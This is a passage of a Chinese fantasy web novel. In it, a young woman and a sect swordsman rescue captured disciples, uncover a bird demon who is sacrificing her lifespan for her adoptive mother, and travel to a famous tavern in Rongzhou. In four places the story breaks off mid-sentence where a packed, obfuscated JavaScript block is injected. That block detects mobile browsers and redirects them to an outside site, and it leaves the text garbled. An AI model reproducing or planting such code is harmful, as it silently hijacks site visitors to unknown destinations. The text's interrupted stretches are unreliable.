娘爹一致决定说他们要认真思考一夜,明天再给出答复。祝未璃也不急于一时,自然随他们去讨论,总之不管结果如何,她都会离开止吴山,踏向属于她的江湖。
但关于上山继续调查失踪一案,他们依旧没有松口,并且紧紧盯着两个女儿的举动,甚至还包括了贺今羽他们,连祝来月都不明白为什么。
四人只能等到夜里他们睡下之后再悄悄溜出门,再次上山。
途中,祝未璃突然问起姐姐:“姐姐,你下午去村里做什么了呀?”
午饭后,祝来月曾一个人出门了一段时间,因她保证绝不是去山上,娘才放她出了门。
对此,祝来月回答道:“去查一些之前忽略的细节。”
有关盲女的事。
因为娘和爹常在外地,不大了解盲女的事,只是曾经跟着其他村民去帮过忙。祝来月便去了村中拜访曾经帮助过她的其他村民。
在从盲女家出来那会儿,未璃曾经提到卫平失明的时间和卫婆病倒的时间,这让祝来月很是在意。
下午便从那些村民口中得到了确切的答案:她们患疾是同一年的事,先是卫婆认不得人,紧接着没过三两个月,卫平就目不可视物了。
又听闻卫婆曾经是住在村中的,后来才搬到山上去,祝来月刨根问底,知道个中缘由之后,不禁心情凝重。
四人一齐来到罗平庙外,虽然此时庙门仍旧如昨晚那样紧闭着,但几人心中已然没有了顾忌,贺今羽用灵力扯断了挂在门上的锁。
庙内无人,只是祝来月此时看向那座罗平鸟的神像时,心情已然不似从前。
“仔细找找,此地定有暗室。”她一面说着,一面已经开始寻找暗室。
一番寻找之后,他们在摆放供果的案下发现了一个几个堆起来的蒲团,蒲团之下有一扇活动的木门,因桌案被一块大布笼罩,若不掀开连蒲团都看不到,更别说木门了。
贺今羽凑近木门,蹙起眉,道:“有妖气。”
这妖物隐藏得还真好,若不是靠近木门,几乎无法察觉到这股妖气。
木门被打开后,展露出其中漆黑一片的地穴,地穴的洞口并不大,正好容下一人通过的大小,洞里有条向下延伸的楼梯,以贺今羽为首、祝来月次之、景怀卿殿后的顺序,三人依次进入地穴。祝未璃则是在外把风。
洞中只有一盏微弱的油灯半燃半灭地照着,几乎没有什么照明的作用。刚进入此地,他们就听见了一阵悉悉簌簌的动静。
但油灯的照亮范围实在有限,景怀卿决定举着它往动静传来的角落走去。
他很快就知道了这声音的来源———正是走失的那一众师弟妹们,还有一个柴夫打扮的人。他们被人堵住了嘴,绑了手脚,只能尽量发出声音引起他们的注意。
在看到两位师兄都来了时,众师弟妹们顿感惊喜,终于有救了!
一旁的贺今羽仍未放下警惕,只因此地的妖气实在是太浓郁了,他感到那只妖就在地穴之中,已然离他们很近了。
他抽出白羽剑警戒,一边还在昏暗的环境中附耳对祝来月说:“你去他们那边,让师弟掩护你们撤退。”
他已经感受到妖气的主人并非一只小妖了,对付它并非难事,但要从它的手中护着这些
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840325|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人便有些麻烦了。于是他决定让他们先撤退。
祝来月也不推辞,她进来只是想保下人质,免得在对战中人质成为他们的负担。她一点头,轻快地来到人质那边,给他们一一松绑。
“来了还想走么?”黑暗中,一声锋利的质问传来,那声音有些耳熟,话语中有着不容置疑的压迫感,让人顿时觉得将要命丧此地了。
但这种威压对于普通弟子或许还能起些作用,对于贺今羽和景怀卿却起不到任何作用。
祝来月也并未因此停下手上动作,沉着地解开绳子,使每一个弟子自由。
贺今羽默默转换至攻击的状态,双脚紧紧站在地上,在黑暗中无法看见出了鞘的白羽剑的锋芒,却实实在在感受到了那股凛冽的剑意,比冬日的寒风更加刺骨!
藏在暗处的敌人也不免有些心生怯意。
但她怎么可能轻易认输?她也释放出自己强大的妖气,与那样锋锐的剑意展开了对峙。
无声的对决开始了。
祝来月无心观察此战的状况,只知道妖物此刻正被贺今羽牵制住了,无暇顾及他们这些人质,她步伐不停地在景怀卿的掩护下,带领着众弟子们和冯家的柴夫从木梯离开了地穴,与在外接应的祝未璃汇合。
在地穴的黑暗中,只见一爪飞快地扑来,其中生出的劲风几乎将空气撕裂。
贺今羽一挥剑,像是十分轻松地挡下了致命的杀招。
“你出去。”
简短的三个字,景怀卿就明白了他的用意,他有些无奈:这是也嫌自己碍事了。
他自然也不会对他说什么保重之类的话,这种程度的敌人,贺今羽一定能对付,想来不需要他费心了。于是他轻身一跃离开了地洞。
“真是狂妄的小子!”只听黑暗中一声轻蔑的笑,但那笑意中明显流露出不安,只是在强撑气势。
她当然听说过灵霄宗,当然更知道灵霄宗当代少宗主是千年难遇的剑道天才,几千年也未必会出一个。
可这一千年来已经是第二个了,上一个只在七百年前,名叫戚少雁。
七百年前她还没有出生,所以无缘得见那一介散修却大败天下所有高手的剑侠,听说那人用一柄普通得不能再普通的铁剑闯尽天下,肆意到使全部名门正派为之愤怒,独身江湖,集众人之力也无法将其控制。
可是再厉害不还是死了么?不还是败了么?
她不相信眼前这个毛头小子能比戚少雁更厉害。
她再次拼了命地向他扑去,那爪影快到几乎看不见了。
贺今羽也认真起来,“既然你一心求死,我成全你。”他握紧了剑,一跃至墙面,竟然稳稳地立在了上面,但很快,他再次一跃,到了石洞的顶上。
他在地面、墙面和顶部之间反复跃动,手中的白羽剑看似漫无目的地斩出无数道剑气,这些动作的完成几乎在顷刻之间。
这个地洞里瞬间充满了冷到刺骨的剑气!
狂澜!
这是鹤栖剑法二篇的第三式———狂澜。
在漫天剑雨之下,她避无可避,尽管尽全身之力闪躲也中了数剑,她顿时发出骇人的惨叫。
那妖倒在地上,一边吐着鲜血,一边还坚持说着:“你错了,我绝不可能求死,我要活下去……一定要……”她的声音已然很是虚弱。
5. 祈求
突然,她使出最后的力气破开地面,从破口飞了出去,到达地面,以迅雷不及掩耳之势抓住了离她最近的人。
那个倒霉蛋是灵霄宗的一名浮玉一脉的弟子,来不及反抗就被她俘获。
借着皎皎的月光,众人终于看清了那妖物的真面目。
“怎么是你……卫姐姐。”祝未璃震惊地看着眼前受了重伤的盲女,她的身上有着数不清的剑伤,每一处都淌着血,让人难以想象她是如何站起来的。
“少废话,你们现在立刻离开这里,否则我现在就杀了他!”
盲女的手中抓着人质,即使是贺今羽也拿她没有办法。
“原来真的是你,你就是传说中的罗平鸟。”祝来月紧紧盯着她。
下午,她从众人那里打听来的关于卫婆搬到山上的原因:
几十年前,当卫婆还是少女的时期,家中除她外只有一位鳏居的父亲,有一日她捡回一只受伤的小鸟,村中老人看到那只鸟的模样时便惊呼不祥。年轻时的卫婆并不理解,只是背着大人偷偷地为受伤的怪鸟治病、喂食。
直到那年她唯一的父亲过世,村中老人发现她并没有将怪鸟丢弃,认为是怪鸟导致的大灾降身。村民便开始疏远、排挤她,生怕引火上身。
后来怪鸟消失了,卫婆却因无法忍受村里人的冷言冷语而主动搬到了山上去。
那只怪鸟,正是有着四眼三足的罗平鸟。祝来月追问那只鸟的细节,终于得知,罗平鸟的羽毛正是靛蓝之中掺杂赤红的特殊颜色。
于是,一个故事就浮现在了祝来月的脑海中:怪鸟克死了女孩的父亲,又化身为幼女接近一生孤寂的卫婆身边,如今又将要害死卫婆,那屋内传来的血腥气和卧床不起的卫婆就是证明。
同时,疑惑也出现在祝来月的脑海中:为什么这么多年她才开始伤害卫婆?这么做的目的又是什么?
这个故事似乎不对。
正在众人僵持之际,远方忽有一身影缓缓走近,来人步履蹒跚,仿佛走得极为艰难,走两步就要歇一阵,但那人却没有半分犹豫,一步一步地靠近了。
月光透过竹林,将摇曳的叶影投射到来人瘦削枯槁的手上、面颊上。
当她走得足够近时,每个人都看清了她的面目。
“卫婆。”祝来月不禁呼吸一滞。
盲女似乎反应到了来人,无措地念了一声:“娘。”而那只挟持着人质的手竟然不自觉地松开了。
那声呼唤十分细微,几乎轻不可闻,但祝来月却听见了,而且听得一清二楚,什么都一清二楚了。
“卫姐姐,其实你根本没有失明,眼上的粗布是掩盖你妖异的四只眼睛对吧?”
她终于明白了,卫平根本不可能伤害她的养母,能唤出这样一声既是仓皇又是担忧的“娘”的人,一定深爱着她的母亲。而那不顾病痛侵蚀依旧冒险前来的老母亲,也一定深爱着自己的女儿。
故事的面貌全然改变了。
盲女强装笑意,还想坚持自己并非妖类,“你小的时候就很聪明,可你错了。”
祝来月明白她并不想在卫婆面前暴露原身,竟然不忍心再追问下去。
想必冯伯的弟弟正是在上山捡柴时无意撞破了罗平鸟的真身,才被抓起来的。此刻,祝来月才发觉,她绑架了那么多人,却无一人伤亡。
她想起有一种古方——以命换命。
罗平鸟相信了这种古方,想用自己的妖之寿命来换已经垂垂老矣的母亲的寿命。但这种方法极伤妖身,所以罗平鸟的妖力已经虚弱到无法维持自己的人形了。
这也就是四五年前卫婆病倒后不久卫平就失明了的原因。
人质趁着罗平鸟走神时赶忙跑回了贺今羽这边。
“小平,我早就知道了。你不用藏,真的。”卫婆显然还因病很是虚弱,每句话都显得十分无力,可她的步伐却无比坚定地走向了她在世上最后的家人。
卫平终于下定决心扯掉她掩盖身份用的粗布,粗布底下是四只狰狞可怖的妖眼。
但她的养母走向她的步伐却并未因此停下,甚至没有半分犹豫。
正如几十年前,她下定决心要救那只受伤的怪鸟时一样坚定。
那年父亲早已身患重病,本就没有多少时日了。父亲不是罗平鸟克死的。这一点卫婆从来都明白。
但村中那些刺骨的言语犹如风刀霜剑,几度使她喘不过气,她想解释,可所有人只相信那莫须有的传说。
他们将她和罗平鸟归为一类,从不接纳那只护佑这止吴山数百年的怪鸟,后来也用同样的方式赶走了她。
直到晚年,她以为自己将要独自在空荡荡的草屋里度过一生时,一个同样孤苦无依的小女孩出现在她身边。
当然后来她在无意中知道了女孩并非人类,但她不在意,也不愿说穿,只是害怕失去这弥足珍贵的亲情。
两人在初春夜里未尽的寒风中紧紧地拥抱彼此,卫婆轻轻拍打着她的后背,像是哄着一个小孩,她在卫平耳边说了句只有她们听得见的话,罗平鸟泣不成声。
“母亲,你让我救救你吧。”她对着对她有救命之恩以及几十年养育之恩的老妪哭道,更是对上天祈求道:老天,你救救我的母亲吧,求你让她再多活一年,再让我赎一年的罪吧。
罗平鸟自然知道,当初救了它的小女孩也是因为它才遭众人厌弃,所以一直寻求机会能够报答她的恩情,并且补赎当年它间接造成的伤害。
所有人都被这场无声却震耳欲聋的祈求震撼,贺今羽慢慢收回了剑。
既然没有一个人受到了伤害,所有弟子也都找了回来,那么也就没有必要杀死她了。
这几百年来,罗平鸟遭人厌弃地活着,终于能有一个人接受她的全部,只是想把这样幸福的时间变得长一些而已。事实却是即使用尽了自己的寿命也换不了她一日。
白天景怀卿和祝未璃破了她的迷阵,使她重伤,血腥味都无法掩饰。
今夜本该是施展换命之法的日子,哪怕此法可能毫无用处,只能缓解些母亲的病痛也好。
她明知今天过后,她就没有余
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840326|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
力再换自己的命给她了,她却依旧打算这样去做,大不了同母亲一起去死。
可是白天她就受了重伤,无法再换命,所以今晚母亲比以往更加虚弱。
“世人求长生之事自古有之,但没有人可以成功,唯有修行渡天劫成了仙人方可获得更加漫长的寿元,像我等没有灵根的凡人是做不到的。”祝来月对眼前执迷不悟的罗平鸟说道。
长生不老么?说实在的,就连她自己也挺想要的。人之一生实在不过须臾,能看见的事物太有限了。
若是她有妹妹一半的修行天赋,也许就有一点机会成为仙人了吧,届时她能看到更远的远方,知道比过往十七年所知道得更新奇的事物。
想到这里她不禁也叹了个气,但她总算还是可以想开的。
“事已至此,不必多说了,你们走吧。母亲时日无多,我要陪她到最后。”
罗平鸟抱着怀中的老人,觉得她是那么瘦、干枯的皮肤像一棵枯死的树。
众人决定下山,把这个夜晚留给她们。
可接下来,祝未璃一句无心的问题却使得白羽剑再次出鞘:
“诶,这是什么呀?好像是卫姐姐身上掉下来的。”她手上拿着一块残缺的木片,像是某种木雕的一部分。但木片上面的图案并不太常见,雕刻的手法也有些奇异。
贺今羽只是看了一眼她手中的残片,立刻抽出了白羽剑,锋利的剑抵在罗平鸟毫无防范的脖颈之上。
“把风栖交出来。”
“什么风栖?”卫平冷笑一声,“可别冤枉了人。”
“灵霄宗失窃的名剑风栖,那窃贼身上就有这种木片。此木材极为罕见,你若不是窃贼也必定与其相识,说。”
贺今羽下山的真正目的便是找回失窃的名剑风栖。风栖与另一把鹤影齐名,是灵霄宗的传世至宝,只因一次看护不到位就丢了。
守卫的弟子自然受了责罚,可风栖一日找不回来,灵霄宗上下都不会好过。
“认识如何?不认识又如何?”罗平鸟冷冷地看着架在她脖子上的剑锋,大有一副大不了你就一剑杀了我的破罐子破摔之感。
一旁,祝来月从妹妹手上接过了木片,细细查看一番,最终隐约得出了一个结论。
她走到贺今羽的身边,制止了他:“贺公子可愿意再信我一次?”
贺今羽转头,看见明月的月光晃晃,将眼前之人桃花似的眼眸中胸有成竹的自信照得一清二楚。他忽然有一种很不好又很好的感觉,恐怕他从今以后都难以拒绝她的自信。
他决定再信她一次,一如初见的昨夜,也是同样不知缘由地接受了她的说辞与同行。
贺今羽收起剑,但此事毕竟事关风栖,并非他可以轻易决断的,于是他又问:“你有多少把握?”
“还不知道,但是我想应当不会让我和你失望的。”即使祝来月说的是不确定的回答,也还是给人一种信心,让人相信一切都会如她预料般发展。
她拿着木片,俯身对罗平鸟说:“卫姐姐,这残片可愿赠予我?”
6. 残片
罗平鸟只是无意中得到的这块木片,也不知道究竟有什么作用,她四处打听,反而因此结识了另一个同样拥有这种木片的妖。
大约半月之前,那妖找到她,希望她能帮忙拖住灵霄宗的弟子们,所以她才设下阵法使众弟子和其中厉害的贺今羽、景怀卿两人失散,又将众弟子的令牌为饵将他们引入自己布下的迷阵中。
如今也算是拖延了几日,她没理由继续为那妖掩护。不过她也不会主动透露妖的下落。
卫平想着,这残片于她无用,给他们还能换来几分自己的安宁,就向祝来月点了头。
祝来月满意地微笑起来,直起身对贺今羽说:“走吧。”后者有几分犹豫,似乎是担心这次放过罗平鸟,之后难找风栖的下落。但没过多久,他还是同她一起走了。
她走之前,还对罗平鸟说了最后一句话:“地之所载,六合之间,万物皆可共存。之后不妨去找找吧,下一个能接受你全部的人,或者妖。”
下山之后,已经几乎快要天亮了。祝家并没有太大的地方给那么多弟子住,于是景怀卿决定先稍稍挤一下,歇几个时辰,之后便立刻上路回宗门。
贺今羽无心休憩,只想知道祝来月口中的把握从何而来,若是不行,他还得再上山一趟。
他跟着她来到她的卧房,看她从柜中深处取出一枚与那枚残片很像的木雕残片。
“这残片从我生时便跟着我了,不论过几年,它丝毫不会有半分寻常木材的泛黄之迹。可我无论翻阅多少书籍都找不到这种木材的来历。”
这时,贺今羽才注意到她的房中竟然摆了数不胜数的书籍,简直像个小型的藏书阁。祝来月注意到他的目光,向他解释道:“这是平日看的较多的一部分,还有些在隔壁房内。”
这下他明白为何祝来月偏偏住在一个朝阴的房间了,纸张接触阳光时间一长就易腐败泛黄。
“接着说。”贺今羽示意她将木雕残片的事说下去。
“直到今天看到这一片,”说着,她将从罗平鸟那里得来的残片拿了出来,“它们像是同一个东西的碎片,并且我能感受到它们之间有一种隐隐约约的联系,但这种联系很轻,我从前并未注意过。”
她将两块残片放到一起,发现它们有一边的裂痕处的图案竟然可以互相连起来,于是又沿着这条裂痕将二者合了起来。
这时,奇迹发生了。
两块木片竟然神奇地融合在一起,竟然没有一丝缝隙。
祝来月还来不及查看细节,就忽然感到一阵钻心的疼痛,就连大脑也涨得像要裂开,连在一起的木片掉在了地上。
她的脸唰的白了,就像是一瞬间被抽去了所有血气,只剩一副空壳。
“怎么了?”
贺今羽看着眼前突然变得极为虚弱的祝来月,一时之间找不到解决的办法,只好先将她扶到榻上歪着,再查看她的脉象。可他毕竟没学习过医术,看不出所以然。
好在祝来月在榻上斜躺着没多久就缓了过来,她笑了笑。
“笑什么?”贺今羽不解。
“我现在能告诉你我有十成把握了。”
“怎么?”
“我几乎可以清晰地感受到第三块残片的下落。”
木雕残片的融合似乎也对她产生了影响。在止吴山上时,她只是隐约能感到一种残片之间的联系,以及她和木雕残片之间的联系,可是这种联系十分微弱,若是不仔细感受是无法察觉的。
现在不同了,她可以肯定,这残片一定原先就是属于她自己的,就像是一种本命灵器。
所有人经历了这件事后都有些疲惫,各自睡去了。
直到大约正午时分,祝来月的爹娘来叩门,她打开门,看着爹娘略有些埋怨的表情,不禁有几分心虚,“娘,爹,什么事?”说着,她请他们进屋里坐下。
“你以为我们不知道你们大半夜出去是吧?叮铃哐啷的一阵响。”娘一边敲着桌子,一边因着这点抱怨了一句,又说道:
“关于你妹妹的事,我们也想明白了,她也不是孩子了,我们也不能把她一辈子都留在这座山里。唯独你和璃儿一同长大,如今她要走了,你一个人岂不难过?”
说到此处,娘不由得湿了眼眶。
祝来月却顿时心生窘迫,“娘,其实……”她难得支吾了一会儿,在娘和爹审犯人似的眼神中交代了她要说的话:“其实我也想去江湖看看。”
谁知娘和爹仿佛早就知道似的,竟毫不意外,只是长长地叹了口气:“你和璃儿的性子自小便这样,天不怕地不怕的,你虽看着沉稳,其实也和璃儿一样率性,我们也早知会有这一天。”
祝来月看着他们,忽然有些感动,自小时起,他们从未强迫她们做任何事。
无论她们想要什么东西都会被满足,才造就了她们如此率性而为又胸有成竹的性格,父母一直是她们无惧一切的韧劲来源。
她拿出那块已经融合的木雕残片,即使它看上去还是残缺了很大一部分,“爹,娘,我想知道这个木片所有的来历。”
他们相视一眼,沉默半晌后终于下定了决心,“月儿,爹娘有件事必须要告诉你。其实你并不是我们亲生,而是十七年前的夜里,在桃园里捡回来的。但爹娘从未对外说过,就是因为我们早已将你当成亲女儿了。”
他们说得十分郑重、诚恳,“这木片当时就和你一起裹在襁褓里,或许是你亲爹娘给你留下之物。若是你想要去找他们的下落,爹娘……”
话未说完,两人的眼眶都泛了红,话也开始哽咽。
“娘,爹,这件事我小的时候就知道了。但我的爹娘只有你们两个,只是关于我的来历,我还是想要去查个明白,等我知道一切后,一定会回来的。”
养育十余年的两个孩子今日都要离开了,夫妇两个伤感了好一阵子。
祝未璃醒来之后,他们又对璃儿说了他们同意她前往灵霄宗拜师修行一事,之后一家子便相拥惜别。
祝家父母再次见到景怀卿和贺今羽两人,此刻明白女儿即将同他们
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840327|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一行人一起上路,一反昨日怀疑的态度。
先是拉着景怀卿的手好一阵说了感谢的话,希望他能多多照顾璃儿,热情的程度比祝未璃有过之而无不及。
这一情景显然吓到了不喜与人相处的贺今羽,他毫不犹豫地提起白羽剑就出了院门,远远地站在一棵树上,借着茂密的树冠遮挡自己的身形。
景怀卿在祝父母的热情下终于还是收下了许多当地的特产,尤其是他们家自己以桃花酿的酒,因今年才刚过桃花盛开的季节,所以是去岁埋下的芳菲酿。
祝来月向来就最喜欢这芳菲酿,但她酒量并不太好,所以不常喝。此行也不知要多久才能再回来,她也向爹娘要了一小坛。
好不容易从这样“恐怖”的热情中脱身之后,景怀卿发现了一早就藏在树上的贺今羽。
“你倒是怕麻烦。”他笑了笑,“怎么突然把祝姑娘带着去找风栖了?此行凶险,她修为不足,恐怕……”
正是知道贺今羽向来怕麻烦,执行任务时一直独来独往,因为不想分心去保护同伴。可这一而再再而三的为祝来月破例,景怀卿总觉得有些奇怪。
他忽然冒出一种猜测,但这个猜测实在有些荒唐,且不说贺今羽从不主动向女子交谈,就是人家小姑娘找他请教问题他都不带理会的。
何况他的婚事,师尊早已替他决定好了。
但景怀卿终于还是没忍住问出了这个不可能的可能性:“莫不是你对祝姑娘……”
这回是贺今羽直接打断了他可笑的猜测:“走了。”他言辞并不闪躲,看上去十分坦然。
景怀卿摇头一笑,果然是他多想了,贺今羽最是不会说谎,他坦然的表现就是证明。
其实他也曾看过贺今羽撒谎,但是他撒谎的表现实在是太过明显,连贺今羽自己都发现了这一点,于是他几乎从不撒谎。
只因他即使撒了谎也很容易被人看穿。
“景大哥,你们在聊什么呀?”收拾好包袱的祝未璃蹦蹦跳跳地走出来,看见两人似乎在聊些什么,有些好奇。
可是两人都没有告诉她,景怀卿只是对她笑着摇摇头,说没什么。
接下来,他们并不同路,景怀卿将带领弟子们走最快路线回到灵霄宗所在的灵霄山脉。
其中也包括即将入门的新弟子祝未璃,他准备直接带她去见师尊,不用按寻常规矩参与入门试炼,待师尊试过她的资质后一定会收她为徒。
贺今羽则是要继续寻找风栖的下落,因为只有祝来月能感应到木片的下落,才决定把她也带上。
按马车的速度来算,他们的目的地距离止吴山大约有小半月的路程,为了节省体力,贺今羽才放弃了御剑的方法。毕竟要带着一个人行驶这个距离并不轻松。
目的地景怀卿曾去过几次,与那里的城主之子算是旧识,便给了他们一串少城主赠予景怀卿的剑穗作为信物,在城中行事也可方便些。
一切就绪后,祝来月和贺今羽就启程前往此次行程的第一个目的地——荣州。
7. 花间
荣州位于灵力繁茂之地,再加上地势开阔,傍水而建,地理位置极好。无论是百姓中行商之人,又或者是江湖里的各方势力都时常途经此地,也有不少慕名而来希望一览荣州繁华的游客。
尤其此时正值繁春时节,万物复苏之际,荣州城可谓是车水马龙,来往之人络绎不绝,热闹得厉害。
而在这城中最热闹之地,乃是一间有些特别的酒楼。
酒楼的掌柜是一个不可视物的女子,年岁不详,人是极温柔的。酒楼内装饰着盛开的鲜花,一年四时如一日般芬芳,即使在最寒冷的严冬,掌柜窦娘都会去采摘鲜花置于花瓶之内。
所有江湖中人来到荣州,必定是要去花间喝上一盅的。便是不饮酒之人,也会去尝尝花间的特色菜系。
临行之前,在景怀卿的极力推荐之下,祝来月他们也来到了这久负盛名的酒楼。
据传,花间建立至今已有大约七百余年,那存在于七百年前的第一剑侠戚少雁最喜欢来花间饮酒,才造就了江湖中人来往频繁之景。
但毕竟过去许久,这个传闻的真实性有待考察。
花间还有一个最是神秘,却无人敢打探的事情。
祝来月对花间的饭菜赞叹不已,但她最感兴趣的还是这个花间的最大秘密——掌柜窦娘。
此时窦娘正在忙碌,她上菜那敏捷的速度诚然不像是一个目不视物之人,可你只要仔细观察,就很容易能发现那张清丽的脸上只有眼睛黯淡无光。
她与装作眼盲的罗平鸟不同,她是真真切切看不见东西。
她向眼前安静吃饭的贺今羽询问道:“你可听说过窦娘的传说?”
贺今羽点头默认,她的传闻在江湖中可谓是无人不知无人不晓。窦娘是亲手创立花间之人,也就是说,七百年前,世间就已经有了窦娘这号人。
但传闻也只到这里就没了后文了,没有人会去刨根问底,若是有人敢对窦娘出手,整个江湖都会愤起讨伐。
可窦娘于他们其实并没有什么恩情,像是某种约定俗成,自古有之。
位于江湖地位的巅峰的灵霄宗是保护花间楼的最强大的势力,其余还有两个宗门:震云派和琼心门,实力仅次于灵霄宗,他们同样也在暗中守卫这个看似平凡的酒楼。
这世上恐怕还没有蠢到会与这三个势力作对的人。
窦娘身上并没有半点灵力,这哪怕是刚修炼一天的孩童也能看出来。
但还有一种可能,那就是窦娘的修为已经深到可以藏匿得毫无破绽,堪称天衣无缝。这也是花间七百年来极少有风波的原因之一。
好巧不巧,这万中无一的概率偏让祝来月他们碰着了。
一个似是不懂江湖规矩的狂妄小子竟然对窦娘出了手,他在窦娘路过他身边之时,趁机摸了一下她,与他同桌而坐的人从座位上弹起来,连忙离他几丈远,像是要撇清关系。
那登徒子不解,忙喊他:“梅兄,你跑什么?”
那“梅兄”像是感受到楼中投来的许多锐利视线般,顿时大喊:“我呸!你少乱攀关系,我可不认识你。”
窦娘虽然被这一举动吓了一跳,但她很快保持了镇静,迅速喊来了楼中的小厮们,要将这捣乱的人丢出去。
可这些小厮又岂是修炼之人的对手,登徒子三两下就把小厮们撂倒,撇了撇嘴:“你何必反应这么大!不就是摸了一下么。”
贺今羽已经把手搭在了剑上,他只知道,保护宗门暗中守卫的酒楼也是他身为灵霄宗少宗主的职责之一。
正当他的白羽剑即将出鞘之际,忽然从酒楼大门走进来乌泱泱的一群人,为首那个穿着华丽,年纪却很轻,像是富家子弟。
祝来月听到食客中有人称他是少城主,方才知道来人就是荣州城主之子——康行渡。
康行渡挥着手中折扇,“听说此地有人闹事啊。”他一边说着,一边眼睛直勾勾地盯着窦娘看。
十几岁的少年,最是难以掩饰心中所想的年纪。
窦娘听到他的声音,冲那个方向微微一行礼,不仅方向没有出错,仪态更是像大户人家的小姐,“少城主,此来还是老样子吗?”
从她的话中可以知道康行渡常来花间,与窦娘更是旧识,只是窦娘话中的客气疏离,也表明了她对康行渡的态度,仅仅只是将他当作一位常客罢了。
康行渡冲她傻笑两声,“一样,一样。”他又顿了顿,道:“不过,我先把这个无礼之徒收拾了,窦娘你去忙吧,很快就解决了。”
登徒子轻蔑地一笑,并不言语,倒是想看看这毛头小子要怎么很快地“解决”他。
只见少城主合了折扇,在空中轻轻一挥,他身后那群乌泱泱的侍卫一涌而上,朝登徒子冲去。
食客中有人仿佛不忍再看般扭过了头,口中还说着:“那人惨了,偏偏碰上的是少城主。”
邻座之人不解,问道:“这登徒子我认得,是东南奚家的长子,实力不俗,争鸣榜上排第八十名,这民间侍卫纵使人多势众,恐怕也不是他的对手。”
“这位兄台可是糊涂了?你忘了此地是荣州?”
那人似乎终于反应过来,是啊,这里是荣州,江湖中人来往频繁之地,荣州城主之子的侍卫又岂会是普通的“民间侍卫”呢?
说话间,只见那奚家长子已然被那群修为不凡的侍卫打了个鼻青脸肿,地上甚至都有了一滩血迹。
“若他碰上的只是三宗任意其一,至多只是被绑了送官,或是带回宗门关押。但少城主向来行事张扬暴力,不被他打死都是他命大。”
奚家长子竟然无力抵抗,但嘴上仍旧喊着:“你知道老子是谁吗?!”只是那喊声断断续续,已没了半分威慑力。
“管你是谁,进了荣州地界,就要守本少的规矩!”康行渡仿佛很是嫌弃般地扇扇子,又接着说道:“别说是你这个排行八十的小子,就是那排行第一的贺今羽来了,在我这也讨不到半分好处。”
祝来月不免看了对面的贺今羽一眼,发现他竟然没有一点反应,像是完全没听见
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840328|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那年轻气盛的少城主的吹嘘似的,仍旧自顾自地吃着饭菜。
她微笑:“天下第一,你果然很冷淡。”
贺今羽对她的戏称也没有表示什么,只是说:“一会去会会他。”
奚家长子仍然不死心似的:“少城主仗势欺人,愧对百姓。”
康行渡仿佛听见了世上最好笑的笑话一般大笑起来,言带揶揄般说道:“不服气?委屈了?那你去报官啊。哦,忘了,你报官也是我家处理。”
话音刚落,他的脸色又沉了下来,“你骚扰我城中百姓,打扰酒楼营业,还好意思喊冤叫屈!”他又挥挥扇子,示意侍卫们快些。
他又挂上笑容,对楼中所有食客说道:“打扰诸位用膳了,康某向诸位致歉。”
见识过康行渡的狠厉手段后,众人连忙表示无妨,低下头佯装无事发生。
祝来月觉得这个少城主还真有点意思,变脸比翻书还快。
“晚上有百戏班表演,听说了吗?”
“听说了,是那家赤衣百戏班吧?小生本来只是路过此地,想不到还能看到她表演。”
忽然听见有两个人在讨论百戏班的事,周围人一听见,连忙也跟着聊起来,那家赤衣百戏班似乎很受欢迎。
但班主出没无踪,表演也没个定数,纵是有人想看也没有办法。
从前有个江湖中赫赫有名的人物,不信这个邪,非要去把班主绑了来看表演,结果竟然让她轻松就跑了。
此后无论多厉害的人物都抓不着她,于是这赤衣百戏班便在江湖中出了名,也变得更加神秘莫测了。
这时,跟着康行渡的侍从也听见了这谈话,忽然想起什么似的,面露犹豫,向前走了几步,对康行渡耳语道:“少爷,赤衣百戏班早晨送了请帖,您看……”
早上原本记着这事,要向少城主禀告的,结果他竟然给忘了,这会儿才想起来。
祝来月他们距离康行渡很近,再加上修行之人五感比常人更加灵敏,虽然祝来月听不清楚,却可以问贺今羽他们说了什么。
